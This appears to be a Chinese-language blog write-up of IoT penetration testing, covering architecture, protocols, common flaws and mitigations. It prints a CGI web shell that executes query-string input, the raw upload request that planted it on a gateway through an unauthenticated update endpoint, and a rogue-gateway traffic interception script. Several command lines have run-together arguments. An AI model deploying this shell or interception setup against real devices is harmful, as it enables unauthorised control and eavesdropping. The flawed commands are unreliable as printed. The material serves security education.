前言

今年早些時候，我參與了許多關於物聯網解決方案的安全測試。主要目標是找出體系結構和解決方案中的漏洞。在這篇文章中，我將討論一些與物聯網解決方案的問題和挑戰。

什麼是物聯網？

在你學習有關IPv6的時候，你的老師或許說過，有一天在你的房子每個裝置都會有一個IP。物聯網基本上就是處理每天的事務，並把它們連線到網際網路上。一些常見的物聯網裝置：如燈光，窗簾，空調。也有像冰箱這樣的不太常見的裝置，甚至一個衛生間？（實際應用）

物聯網的定義是：“提出了網際網路的發展，日常物品有網路連線，允許，傳送和接收資料。”。

物聯網體系結構

通常有這五個部分：

• 執行器：通過物理過程控制事物，如空調機組，門鎖，窗簾，
• 閘道器：用於收集感測器資訊和控制中心
• 感測器：用於檢測環境，例如光，運動，溫度，溼度，水/電量，
• 雲：Web介面或API託管用於收集資料的雲端web應用和大型資料集分析。一般來說，就是用來做資訊與其他方資源共享時，
• 移動（app）：移動裝置大多使用的，在裝置上的應用程式，以實現手機端控制IoT環境來進行互動

物聯網環境本身的控制感測器和執行器通常使用這些無線協議（還有更多的）：

• Wifi
• Zwave
• ZigBee
• Bluetooth
• RF433

每個協議都有其優缺點，也有很多的限制。當談到選擇哪種協議時，最大的問題是相容性。下面的表格顯示了協議之間的快速對照：

主要的驅動程式使用特定的協議。例如rf433已經大範圍使用，但不具有網狀網路和預設的安全機制。這意味著，如果你如果想要安全性，你就不得不拿出自己的協議，這意味著你的使用者將使用現成的感測器或裝置。ZigBee和Zwave在很大程度上都是一樣的。他倆之間的主要區別是在裝置的通訊範圍。

你可以從ZigBee安全技術白皮書中瞭解更多，這裡也有一份相關文件。

威脅向量

任何安全評估你都需要了解你的敵人是誰，他們會如何攻擊系統並濫用使用它們。當我做威脅引導的時候我認為裝置包含在環境中的資訊，這些驅動器都在什麼地方，都有可能構成什麼樣風險。一個物聯網裝置被黑可能是被用來針對物聯網環境或僅僅是變成一個殭屍網被用來攻擊外部網路（或兩者的組合）。你應該評估什麼可以影響執行器，以及如何確定感測器的值可能會影響環境。要做到這一點，你必須很瞭解物聯網生態系統的工作方式，什麼型別的裝置可能會被使用，以及影響可能會如何擴大。

物聯網中常見的漏洞

• 未經身份驗證的更新機制
• SQL / JSON注入
• 設計邏輯
• 過於信任

未經身份驗證的更新機制

更新軟體包有很多不同的方法。有些人用在Linux系統中傳統的軟體包管理器，使用較少的傳統手段，如可執行程式，可運行於同一網路上的計算機，來從雲環境倒推更新。這些更新的機制最大的問題是，他們不使用安全的手段來提供軟體包。例如使用單一的可執行檔案的機制，訪問一個隱藏的API用於在閘道器替換檔案。你需要做的是上傳CGI檔案替換現有檔案。在這種特定的情況下的閘道器是bash的CGI執行，所以就上傳了自己的shell：

#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g'| sed 's|%20| |g')
$test2

請求：

POST http://192.168.1.98:8181/fileupload.cgi HTTP/1.1Content-Type: multipart/form-data; boundary=------7cf2a327f01aeUser-Agent: REDACTED
Host:192.168.1.98:8181Content-length:482Pragma:no-cache
 
--------7cf2a327f01aeContent-Disposition: form-data; name="auth"11366899--------7cf2a327f01aeContent-Disposition: form-data; name="type"
 
w
--------7cf2a327f01aeContent-Disposition: form-data; name="file"; filename="C:\REDACTED CONFIGURATOR\output\login.cgi"#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g'| sed 's|%20| |g')
$test2
--------7cf2a327f01ae

你應該能猜出接下來會發生什麼：

我的建議是利用現有的解決方案，如更新包管理器，如果你必須推出自己的更新包，請在安裝部署之前驗證它。

SQL/NoSQL injection

SQL注入已經是一個存在很長時間的漏洞，當然注入漏洞的產生是因為程式開發過程中不注意規範書寫sql語句和對特殊字元進行過濾,導致客戶端可以通過全域性變數POST和GET提交一些sql語句正常執行。 我們可以看到很多的解決方案，很多開發商並不認為這是NoSQL資料庫的問題或只是不知道這是一個問題。在這裡，我的建議是一定要做適當的輸入驗證和過濾。這裡沒有案例分析，但可以看看這篇文章 websecurify.

設計邏輯和過於信任

由於沒有可用的參考架構，我們看到過很多的架構，雖然框架能使事情變得更容易，但它可能存在很大的風險威脅，一個單一的元件可能被破壞。此外，我們看到開發商認為通訊中傳統使用者輸入是不會造成威脅的。在一個這樣的例項中，我們注意到，當攔截閘道器和雲之間的通訊時，沒有從閘道器識別符號（我們可以很容易地列舉）的身份驗證。這導致了我們可以注入獲取其他使用者的資訊。其他一些例項包括：

• 移動應用程式直接登入到資料庫（所有裝置使用相同的密碼）
• 本地網路通訊不加密
• 訊息沒有簽名或進行加密
• 易暴力列舉或不可撤銷資訊（如出生和名稱為準）的使用作為API金鑰來識別使用者的閘道器
• 通過默默無聞的安全性
• 內部開發的加密演算法

我在這裡的建議：

• 接收端的資訊適當編碼處理惡意資訊，這意味著客戶機不應當為伺服器和客戶機提供明文資訊。一般使用稽核和驗證框架。
• 如果裝置在網路中託管，不要指望任何輸入是值得信賴。
• 在所有通訊中使用合適的加密（https）如果證書是無效的則不開放
• API金鑰相當普遍，以確定一個特定的閘道器。因為該識別符號的伺服器作為認證令牌，則需要確保該識別符是使用密碼安全RNG隨機生成的。一般建議使用128位（32個字元）。
• 即使是最知名的密碼學家也不能保證自己演算法的百分百安全。

很多時候使用者希望使用自己的手機在家裡遠端控制他們的服務。例如開啟空調或開啟門。這就會引發一個問題，你的閘道器通常位於路由器後面，而不是直接從Internet訪問。有些解決方案不需要使用埠轉發，但這還需要一個動態的DNS解決方案，需要使用者配置。

一般公司做的是移動應用程式將指令傳送到雲端，然後閘道器從雲端獲取指令。

結論

人們總想著把任何東西都交給網際網路，但往往會發生嚴重的安全錯誤。大多數錯誤是由於安全目標不明確，缺乏經驗和意識。我們必須採取安全的物聯網策略，而不是期望他們來給我們安全。

一些物聯網安全的解決方案參考：

分享個指令碼，通過代理做一個從物聯網閘道器到網際網路的攔截。可以用於安全測試：

#!/bin/sh
echo "Interface with internet connectivity: "
read iInf
echo "Secondary interface with rogue device: "
read wInf
echo "Stopping network manager ..."
service network-manager stop
echo "Stopping dnsmasq ..."
service dnsmasq stop
echo "Bringing down wireless interface ..."
ifconfig $wInf down
echo "Configuring wireless interface ..."
ifconfig $wInf 192.168.1.1 netmask 255.255.255.0
echo "Starting dnsmasq as DHCP server ..."
dnsmasq --no-hosts --interface $wInf --except-interface=lo --listen-address=192.168.1.1--dhcp-range=192.168.1.50,192.168.1.60,60m--dhcp-option=option:router,192.168.1.1--dhcp-lease-max=25--pid-file=/var/run/nm-dnsmasq-wlan.pid
echo "Stopping firewall and allowing everyone ..."
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
echo "Enabling NAT ..."
iptables -t nat -A POSTROUTING -o $iInf -j MASQUERADE
echo "Enabling IP forwarding ..."
echo 1>/proc/sys/net/ipv4/ip_forward
echo "Gateway setup is complete"
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 80-j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 443-j REDIRECT --to-port 8080